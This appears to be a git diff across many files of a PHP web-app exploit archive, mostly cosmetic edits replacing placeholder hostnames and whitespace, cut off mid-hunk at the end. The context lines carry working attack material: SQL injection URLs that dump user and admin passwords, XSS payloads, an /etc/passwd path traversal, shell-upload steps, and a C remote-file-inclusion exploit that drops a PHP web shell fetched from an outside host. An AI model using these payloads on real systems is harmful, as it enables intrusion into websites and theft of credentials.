b/platforms/php/webapps/12736.txt @@ -1,4 +1,4 @@ -@@@@@@@@@ @@@@@@@@ @@@@ @@@ @@@ @@@@@@@@ @@@@@@@@@@@@ + @@@@@@@@@ @@@@@@@@ @@@@ @@@ @@@ @@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@ @@@@@@ @@@@@@ @@@@@@ @@@@@@@@ @@@@@@@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ diff --git a/platforms/php/webapps/12746.txt b/platforms/php/webapps/12746.txt index b0b70269a..93680ee94 100755 --- a/platforms/php/webapps/12746.txt +++ b/platforms/php/webapps/12746.txt @@ -45,4 +45,4 @@ http://server/cat4.php?catID=<font color=red size=15>XroGuE</font> [+] Live Demo : http://server/cat1.php?catID=-999+union+all+select+1,version(),database()-- -########################################### \ No newline at end of file +########################################### \ No newline at end of file diff --git a/platforms/php/webapps/12754.html b/platforms/php/webapps/12754.html index 115d6af75..d63757e4b 100755 --- a/platforms/php/webapps/12754.html +++ b/platforms/php/webapps/12754.html @@ -1,4 +1,4 @@ -|------------------------------------------------------------------| + |------------------------------------------------------------------| | __ __ | | _________ ________ / /___ _____ / /____ ____ _____ ___ | | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | diff --git a/platforms/php/webapps/12755.txt b/platforms/php/webapps/12755.txt index 63d5c7f91..2ce76892f 100755 --- a/platforms/php/webapps/12755.txt +++ b/platforms/php/webapps/12755.txt @@ -19,4 +19,4 @@ http://localhost/[path]/itemdetail.php?itemid=-39 union select 0,1,2,3,4,5,group http://localhost/[path]/shop.php?storeid=77 and 1=2 http://localhost/[path]/shop.php?storeid=77 and 1=1 -------------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12761.txt b/platforms/php/webapps/12761.txt index 6fe557514..7dcb2a03a 100755 --- a/platforms/php/webapps/12761.txt +++ b/platforms/php/webapps/12761.txt @@ -1,4 +1,4 @@ -__ __ + __ __ .----..--.--.| |--..-----..----.| |.-----..-----. | __|| | || _ || -__|| _|| || _ || _ | |____||___ ||_____||_____||__| |__||_____||___ | @@ -51,3 +51,4 @@ am nt hacker just Lik3 Syst3m S3curity + \ No newline at end of file diff --git a/platforms/php/webapps/12768.txt b/platforms/php/webapps/12768.txt index 0d5830911..5e35e4d72 100755 --- a/platforms/php/webapps/12768.txt +++ b/platforms/php/webapps/12768.txt @@ -12,7 +12,7 @@ Helllo Allz. # Exploit : -http://server/trade/tradeCategory.php?id=[] <== SQLi +http://site.com/trade/tradeCategory.php?id=[] <== SQLi sh done. diff --git a/platforms/php/webapps/12773.txt b/platforms/php/webapps/12773.txt index 6a76e4ac9..2cb951d31 100755 --- a/platforms/php/webapps/12773.txt +++ b/platforms/php/webapps/12773.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12777.txt b/platforms/php/webapps/12777.txt index 48e929acc..508858cc7 100755 --- a/platforms/php/webapps/12777.txt +++ b/platforms/php/webapps/12777.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12781.txt b/platforms/php/webapps/12781.txt index c0f948bc0..7f51ca295 100755 --- a/platforms/php/webapps/12781.txt +++ b/platforms/php/webapps/12781.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12782.txt b/platforms/php/webapps/12782.txt index b35250ac7..1ba961709 100755 --- a/platforms/php/webapps/12782.txt +++ b/platforms/php/webapps/12782.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12788.txt b/platforms/php/webapps/12788.txt index f0edecbed..e35f60dc5 100755 --- a/platforms/php/webapps/12788.txt +++ b/platforms/php/webapps/12788.txt @@ -57,4 +57,4 @@ http://server/ver-noticia.php?id=<marquee><font color=Blue size=15>XroGuE</font> [+] Demo: http://server/verfoto.php?id= http://server/ver-noticia.php?id= -######################################################################## \ No newline at end of file +######################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/12791.txt b/platforms/php/webapps/12791.txt index aad4842ce..03055e5b0 100755 --- a/platforms/php/webapps/12791.txt +++ b/platforms/php/webapps/12791.txt @@ -61,4 +61,4 @@ http://www.2for1golfcourses.co.uk/addreview.php?id="><marquee><font color=Blue s [+] Demo: http://server/newsarticle.php?id=10 and 1=1 [and 1=2] http://www.golfgreenfees.com/courses/courses/clubpage.php?id=30 and 1=1 [and 1=2] -######################################################################## \ No newline at end of file +######################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/12792.txt b/platforms/php/webapps/12792.txt index 672102a21..ac6babdcc 100755 --- a/platforms/php/webapps/12792.txt +++ b/platforms/php/webapps/12792.txt @@ -66,4 +66,4 @@ http://server/contentFolder.php?parentId= [+] Demo: http://server/contentFolder.php?parentId=1+and+1=1 [and+1=2] -######################################################################## \ No newline at end of file +######################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/12794.txt b/platforms/php/webapps/12794.txt index 746c71247..5f2216357 100755 --- a/platforms/php/webapps/12794.txt +++ b/platforms/php/webapps/12794.txt @@ -27,4 +27,4 @@ Cyberlog, Cr4wl3r, Byz9991, Darkavanger, Newbie_Campuz,Unixcode,Bom2stalker, Pho Buat Yayank Ucrit I Love U Full :P -All Member Jatimcrew, Sekuritionline.. \ No newline at end of file +All Member Jatimcrew, Sekuritionline.. \ No newline at end of file diff --git a/platforms/php/webapps/12805.txt b/platforms/php/webapps/12805.txt index bada07e68..de1ff4324 100755 --- a/platforms/php/webapps/12805.txt +++ b/platforms/php/webapps/12805.txt @@ -44,4 +44,4 @@ [+] Demo: http://[site]/[path]/signinform.php?msg= -######################################################################## \ No newline at end of file +######################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/12811.txt b/platforms/php/webapps/12811.txt index 1b8be4809..8254d4173 100755 --- a/platforms/php/webapps/12811.txt +++ b/platforms/php/webapps/12811.txt @@ -1,4 +1,4 @@ -______ _ _ _ + ______ _ _ _ | ___ \ | | | | (_) | |_/ /_____ _____ | |_ _| |_ _ ___ _ __ | // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \ diff --git a/platforms/php/webapps/12855.txt b/platforms/php/webapps/12855.txt index 91da94e26..f4a3bd4d4 100755 --- a/platforms/php/webapps/12855.txt +++ b/platforms/php/webapps/12855.txt @@ -34,4 +34,4 @@ Xploit : demo url:http://server/bazar/picturelib.php?cat=[rfi] ############################################################################ -#Sid3^effects \ No newline at end of file +#Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/1325.pl b/platforms/php/webapps/1325.pl index f58bac450..a80829c3c 100755 --- a/platforms/php/webapps/1325.pl +++ b/platforms/php/webapps/1325.pl @@ -16,7 +16,7 @@ print "\n Coded By AhLaM A.1.M|at|hotmail.com "; print "\n============================================\n"; if(!$ARGV[0] or !$ARGV[1]) { - print "\nUsage:\nperl $0 [host] [User ID] \n\nExample:\nperl $0 http://server/ 1\n"; + print "\nUsage:\nperl $0 [host] [User ID] \n\nExample:\nperl $0 http://www.target.com/ 1\n"; exit(0); } $url = "/forum.php?forum=-1%20union%20select%20password,password,null,null%20from%20wt_users%20where%20uid=$ARGV[1]/*"; diff --git a/platforms/php/webapps/1337.php b/platforms/php/webapps/1337.php index 194d1679f..5658c169b 100755 --- a/platforms/php/webapps/1337.php +++ b/platforms/php/webapps/1337.php @@ -46,7 +46,7 @@ type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com) /mambo/ or just / ) </span></p><p><input type="text" name="command"> <span class="Stile5"> * specify a command , "cat configuration.php" to see database username & password </span></p> <p><input type="text" name="location"> <span -class="Stile5"> * remote location ( ex: http://www.someserver) </span> </p> +class="Stile5"> * remote location ( ex: http://www.somesite.com) </span> </p> <p> <input type="text" name="port"><span class="Stile5">specify a port other than 80 ( default value ) </span></p> <p> <input type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port)</span></p> diff --git a/platforms/php/webapps/1359.php b/platforms/php/webapps/1359.php index b6450cfdc..1cbe2d6e9 100755 --- a/platforms/php/webapps/1359.php +++ b/platforms/php/webapps/1359.php @@ -45,7 +45,7 @@ type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com) /sugar/ or just / ) </span></p><p><input type="text" name="command"> <span class="Stile5"> * specify a command ("cat config.php" to see database username & password)</span></p><p><input type="text" name="location"><span class="Stile5"> -* remote location ( ex: http://www.someserver/index.html) </span></p><p><input +* remote location ( ex: http://www.somesite.com/index.html) </span></p><p><input type="text" name="port"><span class="Stile5">specify a port other than 80 ( default value ) </span></p> <p> <input type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port)</span></p> <p> diff --git a/platforms/php/webapps/1361.c b/platforms/php/webapps/1361.c index a65a91fec..0f1bb95ff 100755 --- a/platforms/php/webapps/1361.c +++ b/platforms/php/webapps/1361.c @@ -13,7 +13,7 @@ $ gcc -o bbs bbs.c Usage ./bbs [host] [/folder/] [cmd] -$ ./bbs www.someserver /simplebbs/ 'ls%20-al;w;id;pwd' +$ ./bbs www.somesite.com /simplebbs/ 'ls%20-al;w;id;pwd' HTTP/1.1 200 OK Date: Wed, 07 Dec 2005 15:31:07 GMT @@ -37,7 +37,7 @@ drwxr-xr-x 7 f1 f1 4096 Nov 17 2002 .. -rwxrwxrwx 1 f1 f1 38089 Dec 7 10:31 topics.php 10:31am up 195 days, 11:35, 1 user, load average: 0.27, 0.23, 0.16 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -root pts/1 watcher.someserver 11Nov05 11:52m 16:51 0.41s -bash +root pts/1 watcher.somesite.com 11Nov05 11:52m 16:51 0.41s -bash uid=99(nobody) gid=99(nobody) groups=99(nobody) /home/f1/public_html/simplebbs/data diff --git a/platforms/php/webapps/1364.c b/platforms/php/webapps/1364.c index 52f647fa5..8887f7725 100755 --- a/platforms/php/webapps/1364.c +++ b/platforms/php/webapps/1364.c @@ -10,10 +10,10 @@ credits: rgod, unitedasia host - hostname (ex: www.sitename.com) path - path (ex: /sugar/ or just / ) -site - remote location ( ex: http://www.someserver/file.txt) +site - remote location ( ex: http://www.somesite.com/file.txt) cmd - specify a command ("cat config.php" to see database username & password) -example ./sugar www.victim.com /CRM35/ http://otherserver/file.txt uname%20-a; +example ./sugar www.victim.com /CRM35/ http://othersite.com/file.txt uname%20-a; Put this in your file.txt @@ -23,7 +23,7 @@ fputs($fp,"<? error_reporting(0);ini_set('max_execution_time',0); system(\$HTTP_ fclose($fp); ?> -./sugar www.victim.com /CRM35/ http://otherserver/file.txt ls%20-al +./sugar www.victim.com /CRM35/ http://othersite.com/file.txt ls%20-al HTTP/1.1 200 OK Date: Thu, 08 Dec 2005 12:35:33 GMT @@ -49,7 +49,7 @@ Linux victim.com 2.4.9-e.57smp #1 SMP Thu Dec 2 20:51:12 EST 2004 i686 unknown #define HTTP_PORT 80 -#define DATA "\ncompile gcc -o sugar sugar.c\n\nexample ./sugar www.victim.com /CRM35/ http://otherserver/file.txt uname%%20-a;\n\nPut this in your file.txt\n\n<?php\n$fp=fopen(\"pointslash.php\",\"w\");\nfputs($fp,\"<? error_reporting(0);ini_set('max_execution_time',0); system(\\$HTTP_GET_VARS[cmd]);?>\");\nfclose($fp);\n?>\n\n" +#define DATA "\ncompile gcc -o sugar sugar.c\n\nexample ./sugar www.victim.com /CRM35/ http://othersite.com/file.txt uname%%20-a;\n\nPut this in your file.txt\n\n<?php\n$fp=fopen(\"pointslash.php\",\"w\");\nfputs($fp,\"<? error_reporting(0);ini_set('max_execution_time',0); system(\\$HTTP_GET_VARS[cmd]);?>\");\nfclose($fp);\n?>\n\n" /****************** MAIN *********************/ @@ -68,7 +68,7 @@ int main( int argc, char **argv) printf("Usage %s [host] [/path/] [site] [cmd]\n\nSugar Suite Open Source <= 4.0 beta remote code execution (c code)\ncoded by: pointslash \ncredits: rgod, unitedasia\n\n",argv[0]); printf("host - hostname (ex:www.sitename.com)\n"); printf("path - path (ex: /sugar/ or just / )\n"); - printf("site - remote location ( ex: http://www.someserver/file.txt)\n"); + printf("site - remote location ( ex: http://www.somesite.com/file.txt)\n"); printf("cmd - specify a command (\"cat config.php\" to see database username & password)\n"); sprintf(data, DATA); printf(data); diff --git a/platforms/php/webapps/1367.php b/platforms/php/webapps/1367.php index 82d39cc1a..dd1919819 100755 --- a/platforms/php/webapps/1367.php +++ b/platforms/php/webapps/1367.php @@ -228,7 +228,7 @@ if (($host<>'') and ($path<>'') and ($command<>'')) $data.="&reregpass=jimihendrix"; $data.="&anag=jimihendrix"; $data.="&email=fake@fakemail.fke"; - $data.="&homep=".urlencode('http://www.aserver'); + $data.="&homep=".urlencode('http://www.asite.com'); $data.="&prof=PUNK"; $data.="&prov=whereimfrom"; $data.="&ava=clanbomber.png"; @@ -295,7 +295,7 @@ if (($host<>'') and ($path<>'') and ($command<>'')) echo '<br>Now you have admin cookie: '.htmlentities($COOKIE); #STEP 5 -> Edit some file... example: my profile ;) - $COMPTEMPT="<?\n#".md5("jimihendrix")."\n#jimihendrix\n#fake@fakemail.fke\n#http://www.aserver\n"; + $COMPTEMPT="<?\n#".md5("jimihendrix")."\n#jimihendrix\n#fake@fakemail.fke\n#http://www.asite.com\n"; $COMPTEMPT.="#PUNK\n#whereimfrom\n#clanbomber.png\n#\n#10\n?>\n"; //assign level 10 to new user //edit this, if system() is disabled you may try passtrhu(),exec() or backticks... //we also see phpinfo() diff --git a/platforms/php/webapps/13740.txt b/platforms/php/webapps/13740.txt index e28c47f81..891d48001 100755 --- a/platforms/php/webapps/13740.txt +++ b/platforms/php/webapps/13740.txt @@ -61,4 +61,4 @@ Xploit: \m/ Xss \m/ ############################################################################ -#Sid3^effects \ No newline at end of file +#Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13747.txt b/platforms/php/webapps/13747.txt index bee555450..5095de807 100755 --- a/platforms/php/webapps/13747.txt +++ b/platforms/php/webapps/13747.txt @@ -36,4 +36,4 @@ Xploit : ############################################################################ #spl thks: exploit-db team -#Sid3^effects \ No newline at end of file +#Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13748.txt b/platforms/php/webapps/13748.txt index a7d634391..37d071959 100755 --- a/platforms/php/webapps/13748.txt +++ b/platforms/php/webapps/13748.txt @@ -54,4 +54,4 @@ submit your ad : ############################################################################ #spl thks: exploit-db team -#Sid3^effects \ No newline at end of file +#Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13749.txt b/platforms/php/webapps/13749.txt index bcb33cafc..12d002ef0 100755 --- a/platforms/php/webapps/13749.txt +++ b/platforms/php/webapps/13749.txt @@ -37,4 +37,4 @@ Demo : http://server/textads_2/index.php?page=[sqli] ############################################################################ #spl thks: exploit-db.com -#Sid3^effects \ No newline at end of file +#Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13752.txt b/platforms/php/webapps/13752.txt index b22d70d43..bd602b499 100755 --- a/platforms/php/webapps/13752.txt +++ b/platforms/php/webapps/13752.txt @@ -44,4 +44,4 @@ Xploit : xss vulnerability ############################################################################ #spl thks: exploit-db.com -#Sid3^effects \ No newline at end of file +#Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13769.txt b/platforms/php/webapps/13769.txt index 8b26d1a26..6944d59a5 100755 --- a/platforms/php/webapps/13769.txt +++ b/platforms/php/webapps/13769.txt @@ -52,4 +52,4 @@ Xploit: SQLI DEMO :http://server/restaurant-site-cms-script-demo/dish.php?id=[sqli] ############################################################################################################### -#Sid#^effects \ No newline at end of file +#Sid#^effects \ No newline at end of file diff --git a/platforms/php/webapps/13773.txt b/platforms/php/webapps/13773.txt index cba40a9a7..e2e4fad13 100755 --- a/platforms/php/webapps/13773.txt +++ b/platforms/php/webapps/13773.txt @@ -53,4 +53,4 @@ DEMO URL : http://server/user/uploads/small_thumbs/testphpjpeg.php.txt.txt.txt STEP 5 : And there your are :) ############################################################################################################### -#Sid#^effects \ No newline at end of file +#Sid#^effects \ No newline at end of file diff --git a/platforms/php/webapps/13782.txt b/platforms/php/webapps/13782.txt index 802bff2a3..3f39900fd 100755 --- a/platforms/php/webapps/13782.txt +++ b/platforms/php/webapps/13782.txt @@ -36,7 +36,7 @@ STEP 2 : useing live http headers and change (Content-Type) form Content-Type: a Content-Type: image/jpeg -ur shell uploded now http://www.server/imagestore/images/06-08-2010_shell.php +ur shell uploded now http://www.site.com/imagestore/images/06-08-2010_shell.php Example diff --git a/platforms/php/webapps/13784.txt b/platforms/php/webapps/13784.txt index 99984e127..fe94e4c4a 100755 --- a/platforms/php/webapps/13784.txt +++ b/platforms/php/webapps/13784.txt @@ -1,4 +1,4 @@ -================================== + ================================== HauntmAx CMS SQLi Vulnerability ================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -48,4 +48,4 @@ Example :http://[site]/index.php?c_action=listings&state=%272 ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13785.txt b/platforms/php/webapps/13785.txt index e358079ec..997f13126 100755 --- a/platforms/php/webapps/13785.txt +++ b/platforms/php/webapps/13785.txt @@ -61,4 +61,4 @@ Xploit: XSS Vulnerability ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13786.txt b/platforms/php/webapps/13786.txt index 291cc2d48..ce59c53b9 100755 --- a/platforms/php/webapps/13786.txt +++ b/platforms/php/webapps/13786.txt @@ -62,4 +62,4 @@ Xploit: XSS Vulnerability ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13792.txt b/platforms/php/webapps/13792.txt index 485fdcb80..234824ae1 100755 --- a/platforms/php/webapps/13792.txt +++ b/platforms/php/webapps/13792.txt @@ -18,11 +18,11 @@ # VULN IN HERE -http://www.server/index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=[exploit] +http://www.site.com/index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=[exploit] # LIVE DEMO -http://www.server/index.php?option=com_cinema&Itemid=S@BUN&func=deta%20il&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,%2019,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users-- +http://www.site.com/index.php?option=com_cinema&Itemid=S@BUN&func=deta%20il&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,%2019,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users-- [#]------------------------------------------------------------------- diff --git a/platforms/php/webapps/13796.txt b/platforms/php/webapps/13796.txt index 7960ca2b7..6f3a86d17 100755 --- a/platforms/php/webapps/13796.txt +++ b/platforms/php/webapps/13796.txt @@ -1,4 +1,4 @@ -============================================ + ============================================ joomla com_jstore SQLi Vulnerability ============================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -51,4 +51,4 @@ DEMO : ######## # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13797.txt b/platforms/php/webapps/13797.txt index e7878fadb..349e04915 100755 --- a/platforms/php/webapps/13797.txt +++ b/platforms/php/webapps/13797.txt @@ -1,4 +1,4 @@ -============================================ + ============================================ joomla com_jtickets SQLi Vulnerability ============================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -51,4 +51,4 @@ DEMO URL : ######## # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13798.txt b/platforms/php/webapps/13798.txt index 11788b292..c14107acf 100755 --- a/platforms/php/webapps/13798.txt +++ b/platforms/php/webapps/13798.txt @@ -1,4 +1,4 @@ -============================================ + ============================================ joomla com_jcommunity SQLi Vulnerability ============================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -45,4 +45,4 @@ DEMO URL : ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13799.txt b/platforms/php/webapps/13799.txt index e45e3eb27..8a1b74d3c 100755 --- a/platforms/php/webapps/13799.txt +++ b/platforms/php/webapps/13799.txt @@ -1,4 +1,4 @@ -============================================ + ============================================ joomla com_jmarket SQLi Vulnerability ============================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -45,4 +45,4 @@ DEMO URL : ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13800.txt b/platforms/php/webapps/13800.txt index c48ae1967..e53e82991 100755 --- a/platforms/php/webapps/13800.txt +++ b/platforms/php/webapps/13800.txt @@ -1,4 +1,4 @@ -============================================ + ============================================ joomla com_jsubscription SQLi Vulnerability ============================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -44,4 +44,4 @@ DEMO URL : ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13804.txt b/platforms/php/webapps/13804.txt index 365600a2f..bab89252b 100755 --- a/platforms/php/webapps/13804.txt +++ b/platforms/php/webapps/13804.txt @@ -1,4 +1,4 @@ -============================================ + ============================================ joomla com_jnewsletter SQLi Vulnerability ============================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -45,4 +45,4 @@ DEMO URL : ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13812.txt b/platforms/php/webapps/13812.txt index 69d58a63d..80a2f838f 100755 --- a/platforms/php/webapps/13812.txt +++ b/platforms/php/webapps/13812.txt @@ -1,4 +1,4 @@ -==================================================== + ==================================================== SchoolMation Version 2.3 SQLi and XSS Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -62,4 +62,4 @@ Xploit: XSS Vulnerability ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/1382.pl b/platforms/php/webapps/1382.pl index 53472061b..2b7ab1449 100755 --- a/platforms/php/webapps/1382.pl +++ b/platforms/php/webapps/1382.pl @@ -33,7 +33,7 @@ print q( );exit;} #_Configuration_ -$mailsite = "http://yourserver/mailme.php"; #Replace this value by the Url of the Php email script +$mailsite = "http://yoursite.com/mailme.php"; #Replace this value by the Url of the Php email script $shipper = "xploitdarkfigbot%40gmail.com"; #Default shipper email, xploidarkfigbot@gmail.com really exist => It work ;) $host = $ARGV[0]; $path = $ARGV[1]; diff --git a/platforms/php/webapps/13833.txt b/platforms/php/webapps/13833.txt index ebdd9fa01..ea01f5bbc 100755 --- a/platforms/php/webapps/13833.txt +++ b/platforms/php/webapps/13833.txt @@ -8,7 +8,7 @@ # Risk: Medium ################################################################# Vulnerability: -https://cp.server/servlet/Help?system_id=pem&book_type=login&help_id=change_password&locale=/../../../../../../etc/passwd%00 +https://cp.site.com/servlet/Help?system_id=pem&book_type=login&help_id=change_password&locale=/../../../../../../etc/passwd%00 ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://Pouya.info diff --git a/platforms/php/webapps/13848.txt b/platforms/php/webapps/13848.txt index a3cbd332c..83b615dd0 100755 --- a/platforms/php/webapps/13848.txt +++ b/platforms/php/webapps/13848.txt @@ -15,4 +15,4 @@ After , you can login here : http://target/path/login.php demo : http://server/breaking_news.php?newsid=-103+UNION+SELECT+1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login-- -GreeTz : SA H4x0r <Abu Saud> , HiV Sec Team , Sec4ever and v4-Team Members \ No newline at end of file +GreeTz : SA H4x0r <Abu Saud> , HiV Sec Team , Sec4ever and v4-Team Members \ No newline at end of file diff --git a/platforms/php/webapps/13855.txt b/platforms/php/webapps/13855.txt index 34735609d..54d48df16 100755 --- a/platforms/php/webapps/13855.txt +++ b/platforms/php/webapps/13855.txt @@ -30,7 +30,7 @@ union select 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users # Demo: -http:www.server/path/play.php?id=-25union select 1,2,3,login,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users +http:www.site.com/path/play.php?id=-25union select 1,2,3,login,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users ./done. diff --git a/platforms/php/webapps/13857.txt b/platforms/php/webapps/13857.txt index d271d02f9..a9db40ffb 100755 --- a/platforms/php/webapps/13857.txt +++ b/platforms/php/webapps/13857.txt @@ -16,4 +16,4 @@ SQL Injection: http://localhost/[path]/?calbums=-2 union select 0,1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12,13 from admin-- -################################################################################################## \ No newline at end of file +################################################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/13858.txt b/platforms/php/webapps/13858.txt index 87ad250fe..458d2209e 100755 --- a/platforms/php/webapps/13858.txt +++ b/platforms/php/webapps/13858.txt @@ -18,4 +18,4 @@ http://localhost/[path]/game.php?id=-1+union+select+1,2,3,password,5,6,7,8,9,10, ################################################################################################## For Palestine........... -################################################################################################## \ No newline at end of file +################################################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/13862.txt b/platforms/php/webapps/13862.txt index 8ce33f04c..e79ba5c72 100755 --- a/platforms/php/webapps/13862.txt +++ b/platforms/php/webapps/13862.txt @@ -1,5 +1,5 @@ Exploit Title: Pre Classified Listing SQL Vulnerable -Vendor url:http://www.sellatserver +Vendor url:http://www.sellatsite.com Version:1 Price:60 USD Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] diff --git a/platforms/php/webapps/13881.txt b/platforms/php/webapps/13881.txt index c6dab29b5..89b770ab4 100755 --- a/platforms/php/webapps/13881.txt +++ b/platforms/php/webapps/13881.txt @@ -18,7 +18,7 @@ 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] Exploit Title:PHP Online Jobs Authentication Bypass -Vendor url:http://www.sellatserver +Vendor url:http://www.sellatsite.com Version:n/a Price:67$ Published: 2010-06-15 diff --git a/platforms/php/webapps/13892.txt b/platforms/php/webapps/13892.txt index 7fe867d2a..d93740261 100755 --- a/platforms/php/webapps/13892.txt +++ b/platforms/php/webapps/13892.txt @@ -30,4 +30,4 @@ Xploit:Upload Vulnerability ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13894.txt b/platforms/php/webapps/13894.txt index 3227e2b0a..4a03667cd 100755 --- a/platforms/php/webapps/13894.txt +++ b/platforms/php/webapps/13894.txt @@ -20,4 +20,4 @@ Attack Pattern: '"--><script>alert(0x000872)</script> DEMO URL :http://[site]/products/classified/headersearch.php?sid=[XSS] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/13898.pl b/platforms/php/webapps/13898.pl index 27389e0ea..7ed2f9f02 100755 --- a/platforms/php/webapps/13898.pl +++ b/platforms/php/webapps/13898.pl @@ -9,7 +9,7 